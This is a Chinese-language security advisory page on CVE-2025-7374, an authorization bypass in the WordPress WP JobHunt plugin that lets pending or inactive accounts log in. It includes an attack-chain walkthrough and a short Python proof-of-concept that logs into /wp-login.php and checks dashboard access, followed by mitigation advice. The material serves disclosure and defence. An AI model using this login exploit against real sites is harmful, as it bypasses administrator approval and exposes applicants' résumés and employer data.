IPBUF安全漏洞报告
English
CVE-2025-7374 CVSS 5.4 中危

CVE-2025-7374:WordPress WP JobHunt插件授权绕过漏洞

披露日期: 2025-10-10

漏洞信息

漏洞编号
CVE-2025-7374
漏洞类型
授权绕过(Authentication Bypass / Authorization Bypass)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WP JobHunt插件(WordPress),由JobCareer主题使用

相关标签

CVE-2025-7374WordPressWP JobHunt授权绕过认证绕过JobCareer中危漏洞插件漏洞权限提升CVSS 5.4

漏洞概述

CVE-2025-7374是WordPress WP JobHunt插件中的一个授权绕过漏洞。该插件被广泛应用于JobCareer求职招聘主题中,为网站提供职位发布、简历投递、候选人管理等功能。漏洞存在于所有7.6及以下版本中,由于插件对处于非活跃(inactive)和待审核(pending)状态的账户缺乏充分的登录限制,导致具有Candidate(求职者)或Employer(雇主)级别权限的认证攻击者,即使其账户已被管理员停用或仍处于待审核状态,仍然可以成功登录到目标网站。该漏洞由Wordfence安全团队的安全研究员发现并报告,CVSS评分为5.4,属于中等严重等级。尽管该漏洞需要攻击者拥有一定级别的账户权限才能利用,但在实际场景中,求职者或雇主在注册后通常会处于待审核状态,攻击者可以利用这一机制绕过管理员的审核流程,直接登录系统获取未经授权的访问权限。这可能导致敏感招聘信息泄露、简历数据被窃取、恶意职位发布等安全风险,对使用该插件的企业招聘网站构成实质性威胁。

技术细节

该漏洞的核心问题在于WP JobHunt插件的认证流程中缺少对账户状态的严格校验。在WordPress的标准认证机制中,当用户尝试登录时,系统会检查用户账户的激活状态(active、inactive、pending等),通常非活跃或待审核账户应被拒绝登录。然而,WP JobHunt插件在处理Candidate和Employer角色的登录请求时,未能正确继承或实现这一状态检查逻辑。

技术原理:
1. 插件在处理用户登录回调时,仅验证了用户名和密码的凭证信息,而未检查用户元数据中的账户状态字段;
2. 管理员将账户设置为inactive或pending状态后,插件的认证函数仍然返回认证成功;
3. 攻击者一旦拥有有效的凭证(即使是待审核账户的凭证),即可绕过管理员的审核控制,获得系统访问权限。

利用方式:
1. 攻击者首先通过正常注册流程在目标网站注册一个Candidate或Employer账户;
2. 该账户在注册后默认处于pending状态,等待管理员审核;
3. 攻击者在账户未通过审核的情况下,直接使用注册时的用户名和密码尝试登录;
4. 由于插件未对账户状态进行校验,登录请求被成功处理,攻击者获得对网站的未授权访问;
5. 攻击者可访问求职者简历、雇主信息、职位数据等敏感信息,或进行恶意操作。

攻击链分析

STEP 1
步骤1:账户注册
攻击者通过目标网站的正常注册流程,注册一个Candidate(求职者)或Employer(雇主)角色的账户。注册后,该账户默认处于pending(待审核)状态。
STEP 2
步骤2:等待或绕过审核
攻击者无需等待管理员审核账户。由于漏洞的存在,账户状态不影响后续的认证过程。
STEP 3
步骤3:发起登录请求
攻击者使用注册时获得的凭证(用户名和密码)向/wp-login.php发起登录请求,提交认证信息。
STEP 4
步骤4:绕过状态检查
WP JobHunt插件在处理登录认证时,未正确检查用户账户的active/inactive/pending状态,直接返回认证成功。
STEP 5
步骤5:获取未授权访问
攻击者成功登录系统,获得对网站的访问权限,可查看简历数据、职位信息、雇主资料等敏感内容,或进行恶意操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-7374 PoC - WP JobHunt Authorization Bypass # This PoC demonstrates the authentication bypass for inactive/pending accounts import requests import json # Target configuration TARGET_URL = "https://target-wordpress-site.com" LOGIN_ENDPOINT = f"{TARGET_URL}/wp-login.php" # Attacker credentials (registered but in pending/inactive state) USERNAME = "attacker_candidate" PASSWORD = "AttackerPass123!" # Step 1: Attempt login with pending/inactive account credentials session = requests.Session() # First, get the login page to retrieve any necessary tokens/cookies login_page = session.get(LOGIN_ENDPOINT) # Step 2: Submit login credentials login_data = { "log": USERNAME, "pwd": PASSWORD, "wp-submit": "Log In", "redirect_to": f"{TARGET_URL}/wp-admin/", "testcookie": "1" } # Set test cookie as required by WordPress session.cookies.set("wordpress_test_cookie", "WP%20Cookie%20check") # Step 3: Attempt authentication response = session.post(LOGIN_ENDPOINT, data=login_data, allow_redirects=True) # Step 4: Check if login was successful despite pending/inactive status if "wp-admin" in response.url or "dashboard" in response.text.lower(): print("[+] SUCCESS: Authorization bypass confirmed!") print(f"[+] Logged in as: {USERNAME}") print(f"[+] Account status bypassed: pending/inactive -> active") # Step 5: Access restricted resources dashboard = session.get(f"{TARGET_URL}/wp-admin/") print(f"[+] Dashboard accessible: {dashboard.status_code == 200}") else: print("[-] Login failed - target may be patched") # Note: The vulnerability exists because WP JobHunt plugin # fails to validate account status (active/inactive/pending) # during the authentication process for Candidate and Employer roles.

影响范围

WP JobHunt插件 <= 7.6

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)管理员手动审查并删除所有处于pending或inactive状态的Candidate和Employer账户;2)暂时禁用新用户注册功能;3)通过WordPress后台的设置限制只有管理员可以创建账户;4)部署Web应用防火墙(WAF)规则,阻止对/wp-login.php的可疑登录尝试;5)监控登录日志,识别来自pending账户的异常登录行为;6)考虑暂时停用WP JobHunt插件,使用替代的招聘管理方案。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表